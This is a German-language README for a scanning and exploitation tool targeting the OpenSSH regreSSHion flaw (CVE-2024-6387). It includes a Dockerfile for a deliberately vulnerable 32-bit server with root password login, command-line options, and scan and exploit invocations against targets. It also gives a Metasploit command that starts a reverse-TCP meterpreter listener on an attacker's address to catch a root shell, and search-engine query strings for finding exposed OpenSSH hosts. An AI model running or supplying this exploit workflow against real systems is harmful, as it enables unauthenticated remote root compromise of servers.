
Scannt und exploitet CVE-2024-6387 (regreSSHion) in OpenSSH-Servern. Bietet Multithread-Scanning, Banner-Abruf, Grace-Time-Erkennung und einen Exploit-Modus mit Reverse-Shell-Payload.
Im Wesentlichen handelt es sich hierbei um eine statistische Schwachstelle: Eine große Anzahl von Versuchen ist erforderlich, um das Race Condition zu gewinnen und erfolgreich beliebigen Code auszuführen. Angreifer müssen viele Hindernisse überwinden, sagte Schwartz gegenüber SecurityWeek. „Selbst im besten Fall dauert die Ausnutzung der bekanntesten Schwachstelle über 4 Stunden."
In den Versionshinweisen zu OpenSSH 9.8 stellten die Entwickler fest, dass die Schwachstelle nur auf 32-Bit-Linux-Systemen auf Basis von glibc bestätigt wurde und OpenBSD nicht betroffen ist.
Die Umgebung wird mit Docker eingerichtet.
# 1.1. Schreiben der Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCDer Exploit funktioniert NUR für 32-Bit-OpenSSH-Server. Dies liegt daran, dass der PoC 32-Bit-Zeiger verwendet! Es ist außerdem bekannt, dass einige Versionen bereits gepatcht sind und nicht jeder Server verwundbar ist. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04
Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server
CVE-2024-6387.py ist ein leichtgewichtiges, effizientes Tool zur Identifizierung von Servern, die verwundbare Versionen von OpenSSH ausführen, und zielt speziell auf die kürzlich entdeckte regreSSHion-Schwachstelle (CVE-2024-6387) ab. Dieses Skript ermöglicht das schnelle Scannen mehrerer IP-Adressen, Domänennamen und CIDR-Netzwerkbereiche, um potenzielle Schwachstellen zu erkennen und die Sicherheit Ihrer Infrastruktur zu gewährleisten.
Im OpenSSH-Server (sshd) wurde ein Signal-Handler-Race-Condition gefunden: Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen. Dieser Signal-Handler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, beispielsweise syslog().
Die technischen Details finden Sie hier.
Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt und mit der Kennung CVE-2024-6387 versehen wurde, ist auf ein Signal-Handler-Race-Condition in sshd zurückzuführen, das nicht authentifizierten Remote-Angreifern ermöglicht, beliebigen Code mit Root-Rechten auszuführen.
„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."
„Ein nicht authentifizierter Remote-Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."
Anforderung: python3 (aktuellste Version)
### Befehlszeilenargumente
mode: Wählt den Betriebsmodus. Optionen sind scan oder exploit.
-T, --targets: IP-Adressen, Domänennamen, Dateipfade mit IP-Adressen oder CIDR-Netzwerkbereiche.
-f, --outputfile: Datei zum Speichern der Ergebnisse (z. B. result.json).
-g, --gracetimecheck: Zeit in Sekunden, die nach der Identifizierung der Version gewartet wird, um die LoginGraceTime-Entschärfung zu prüfen (Standard: 120 Sekunden).
-n, --nic: Netzwerk-NIC (Standard: 'eth0').
-o, --output: Ausgabeformat für Ergebnisse (Optionen: 'csv', 'txt', 'json').
-p, --port: Portnummer zum Prüfen oder Ausnutzen (Standard: 22).
-s, --speed: Anzahl der Threads zur Erhöhung der Race-Condition-Chancen (Standard: 10).
-t, --timeout: Verbindungs-Timeout in Sekunden (Standard: 1 Sekunde).
-H, --resolve-hostnames: Hostnamen auflösen
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Sie müssen lediglich zuerst den folgenden Befehl ausführen (ändern Sie den {yourip}-Handler) und anschließend den Exploit mit dem obigen Befehl ausführen
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Das Tool bietet eine farbcodierte Ausgabe auf der Konsole für bessere Lesbarkeit:
Grün: Erfolgreiche Verbindung oder Operation. Rot: Fehlgeschlagene Verbindung oder Fehler. Gelb: Warnungen oder bemerkenswerte Informationen. Cyan: Allgemeine Informationen oder Statusaktualisierungen.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access